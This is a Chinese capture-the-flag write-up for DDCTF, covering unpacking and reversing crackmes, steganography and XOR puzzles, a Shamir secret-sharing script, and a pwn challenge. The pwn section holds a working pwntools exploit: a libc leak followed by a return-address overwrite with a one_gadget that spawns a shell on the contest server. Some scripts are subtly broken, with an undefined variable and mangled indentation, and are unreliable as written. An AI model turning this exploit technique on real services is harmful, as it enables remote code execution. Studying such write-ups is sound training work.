DDCTF WP

DDCTF WP

逆向部分

Re1
査壳后发现是upx,手动esp定律脱壳
image_1d94sosgaa6l2d31ga6clq1n8o1p.png-72.3kB
写出脚本

String tab="~}|{zyxwvutsrqponmlkjihgfedcba`_^]\\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#\"!";
String dd="DDCTF{reverseME}";
for(int i=0;i<dd.length();i++){
    for(int j=0;j<tab.length();j++){
        if(dd.charAt(i)==tab.charAt(j))
        { j+=32;
           //System.out.print((char)j);
        }
    }
}

得到输入

Re2
査壳后发现是AsPack,也是一种压缩壳,还是可以用esp定律脱壳
image_1d94spe8sjmb1ibk18vi6um19oe26.png-17.5kB
脱壳,比之前的upx多一次esp定律,就能走到oep
image_1d94sphrn1863s1f106q64992h2j.png-50.7kB
然后脱壳后修复导入表,放入ida分析
image_1d94splo01hqege21ikv17388ms30.png-63.7kB
看下大概逻辑,4011f0对输入做了检查,输入只允许为0-9和A-F的大写字母,然后核心算法在401240里面
image_1d94sppp0181ne89qiv17h8mi3d.png-39.8kB
这个函数首先将我们输入的hex字符串,转化为内存中的字符串然后进入变换
image_1d94sqcev32i1rh51etm1t15vvn3q.png-63.7kB
大概能看出来是base64,但是每次结果多了一次和0x76的异或,也就是等价于base64表和0x76异或,把table异或回去,发现就是原生的base64表,反而变回了标准的base64,然后对reverse+采用base64 decode之后hex编码,就是我们的输入

Re3
打开后,竟然是神秘的mac的可执行程序,只好安装黑苹果
image_1d94sqiava3b1ruf1tjt180t1vi547.png-115.6kB
由于10.13后版本的安全机制太好,我debugserver搞了好久,吐槽
然后本质上就一个vm结构
image_1d94sqlt42lj14sn1dui1lq4iea4k.png-71.6kB
这个函数初始化了vm结构,清空了vm的寄存器,并且填充了对应handle的函数地址,然后就进入了vm历程
image_1d94sqosb58ujmd1rv41i0jr1951.png-51.1kB
可以看到,vm的code在这里
image_1d94sqs8f1phru2n197eu10me5e.png-82.5kB
有耐心的就直接调下了,以第一轮处理为例,首先取出了0x66给vm的第一个寄存器,然后调用了
Ascii码加二,第三次取出eip后执行的是,与内存中
输入进行对比,这样就确定了第一位输入为0x68,也就是h
image_1d94sqv801s1n15qs1egbombrmn5r.png-13.5kB
image_1d94sr3tn9j8bed1hl64ir1uu068.png-51.1kB
后序继续调试几组,发现就是把混杂在opcode中的操作数每次加2后对比,记录每一轮结果最后可以得到flag为helloYouGotTheFlag

Re4
下载后得到.out 文件
image_1d94srhrqn9k1he6vp5f5s1qhg75.png-50.5kB
拖入64位ida打开

得到输入后,传入4069d6进行操作,然后校验的函数在4013e6
但是。。函数的cfg图极其复杂,只能以跟踪输入的方式了,其实感觉处理,检验的流程大多数还是写在stl里的,我们多关心下stl对输入造成的影响就好,
输入后

image_1d94ssda532d13pn15o38out3f8i.png-176.7kB
可以在内存中看到我们的输入,然后我们对输入加一个断点,f9跑起来
可以发现,首先将输入的1234,转化为0x1234
然后就是校验的事了,对转成的hex再次进行内存断点,可以找到校验点
image_1d94ssj0q14k0ol8v3t3a811pf8v.png-68.4kB
然后就可以每次在sub ecx,eax中观察到我们的input和正确的flag,然后每次修改ecx的值为0可以观察到下一位密文,最后flag为
DDCTF{79406C61E5EEF319CECEE2ED8498}

Misc部分
北京地铁
image_1d94sso841qu61rp486319sl1i889c.png-99kB
首先可以通过lsb隐写,提取出一串base64结果,然后就没有了思路,题目放出hint,aes ecb,然后就可以知道是aes的密文,然后就要找密钥,最后发现,魏公村站点颜色不一样,猜测密钥为weigongcun,得到flag

MultZor
多重zor?啥玩意儿啊,zor又搜不到,只能猜测是xor异或了,使用xor tools分析下可能的xor密钥,由于一般来说空格的评率最高,可以使用xortools -c 20进行分析,xor tools分析出最有可能的密钥长度是18,但是,我解密时一直有部分乱码
image_1d94st32ngmd30516k7kqg1ln39p.png-9.8kB
这就很烦了。分析下乱码的前几个字节
image_1d94st6qc2qr1hkm18g068gkbia6.png-31.7kB
原本单词应该是cryptanalysis,但是a变成了$,后面几位的enigma也不对了,估计是密钥有部分不对,可以对着算一下正确的密钥的位数,用a的ascii xor $的ascii可以得到原本位置的正确密钥23\xffSY\x8b23\xffSY\x8b23\xffSY\x8b’,修补后再次解密得到正确flag
DDCTF{0dcea345ba46680b0b323d8a810643e9}

Pwn
输入username长度过长,可以泄露出Libc中的_IO_seekpos。
Password长度无符号,输入-1长度变得足以覆盖返回地址。
用之前的libc地址减去_io_seekpos偏移,加上one_gadget偏移0x5f065。
再将one_gadget实际地址覆盖返回地址,成功执行exev(‘/bin/sh’)
脚本:

from pwn import *
p=remote("116.85.48.105",5005)
p.recvuntil(": ")
p.sendline('1'*23)
lib_seek=p.recvuntil(": ")[30:34]
_IO_seekpos=u32(lib_seek)-234-17
lib_base=setbuf-0x5f5c0
payload=p32(lib_base+0x5f065)
p.sendline('-1')
p.recvuntil(": ")
p.send(17*payload+"\x00")
p.interactive()

WireShark
下载后发现是一个数据包,使用
image_1d94sth8bd4dlci1fpg194nvf8aj.png-102.5kB
首先可以把里面的全部对象都保存出来,然后可以发现3张png图片,其中钥匙的图片貌似存在IHDR隐写,用010修改行高,可以找到一张为包含key的图片
image_1d94stkrf176u1352aphohd129ob0.png-92.3kB

然后在流量包中,同时发现了对这个网站的访问
http://tools.jb51.net/aideddesign/img_add_info
最后把我们的另外一张png图片和我们key上传解密即可看到hex编码后的flag

联盟决策大会
这题是一道密码学的题,涉及到沙米尔协议
原本的沙米尔,是针对一组人进行密钥管理的,但是题目要求,是6个人,分成了两组,也就是每组之间协商一次,最后两组再协商
在网上找到脚本(http://mslc.ctf.su/wp/plaidctf-2012-nuclear-launch-detected-150-password-guessing/)改一下就能跑

    from libnum import n2s,invmod

        pairs1 = []
        pairs1 += [(1, 0x60E455AAEE0E836E518364442BFEAB8E5F4E77D16271A7A7B73E3A280C5E8FD142D3E5DAEF5D21B5E3CBAA6A5AB22191AD7C6A890D9393DBAD8230D0DC496964)]
        pairs1 += [(2, 0x6D8B52879E757D5CEB8CBDAD3A0903EEAC2BB89996E89792ADCF744CF2C42BD3B4C74876F32CF089E49CDBF327FA6B1E36336CBCADD5BE2B8437F135BE586BB1)]
        pairs1 += [(4, 0x74C0EEBCA338E89874B0D270C143523D0420D9091EDB96D1904087BA159464BF367B3C9F248C5CACC0DECC504F14807041997D86B0386468EC504A158BE39D7)]

        pairs2 = []
        pairs2 += [(3, 0x560607563293A98D6D6CCB219AC74B99931D06F7DEBBFDC2AFCC360A12A97D9CA950475036497F44F41DC5492977F9B4A0E4C8E0368C7606B7B82C34F561525)]
        pairs2 += [(4, 0x445CCE871E61AD5FDE78ECE87C42219D5C9F372E5BEC90C4C4990D2F37755A4082C7B52214F897E4EC1B5FB4A296DBE5718A47253CC6E8EAF4584625D102CC62)]
        pairs2 += [(5, 0x4F148B40332ACCCDC689C2A742349AEBBF01011BA322D07AD0397CE0685700510A34BDC062B26A96778FA1D0D4AFAF9B0507CC7652B0001A2275747D518EDDF5)]



        p = int(0x85FE375B8CDB346428F81C838FCC2D1A1BCDC7A0A08151471B203CDDF015C6952919B1DE33F21FB80018F5EA968BA023741AAA50BE53056DE7303EF702216EE9)

        res1 = 0
        res2 =0
        res3 =0
        for i, pair in enumerate(pairs1):
        x, y = pair
        top = 1
        bottom = 1
        for j, pair in enumerate(pairs1):
        if j == i:
        continue
                xj, yj = pair
        top = (top * (-xj)) % p
        bottom = (bottom * (x - xj)) % p
        res1 += (y * top * invmod(bottom, p)) % p
        res1 %= p

        for i, pair in enumerate(pairs2):
        x, y = pair
        top = 1
        bottom = 1
        for j, pair in enumerate(pairs2):
        if j == i:
        continue
                xj, yj = pair
        top = (top * (-xj)) % p
        bottom = (bottom * (x - xj)) % p
        res2 += (y * top * invmod(bottom, p)) % p
        res2 %= p

        pairs3 =[]
        pairs3 +=[(1,res1)]
        pairs3 +=[(2,res2)]

        for i, pair in enumerate(pairs3):
        x, y = pair
        top = 1
        bottom = 1
        for j, pair in enumerate(pairs3):
        if j == i:
        continue
                xj, yj = pair
        top = (top * (-xj)) % p
        bottom = (bottom * (x - xj)) % p
        res3 += (y * top * invmod(bottom, p)) % p
        res3 %= p


#print res1
#print res2
        print res3
#print n2s(res1)
#print n2s(res2)

对最后运行出的大数再次调用n2s,即可看到flag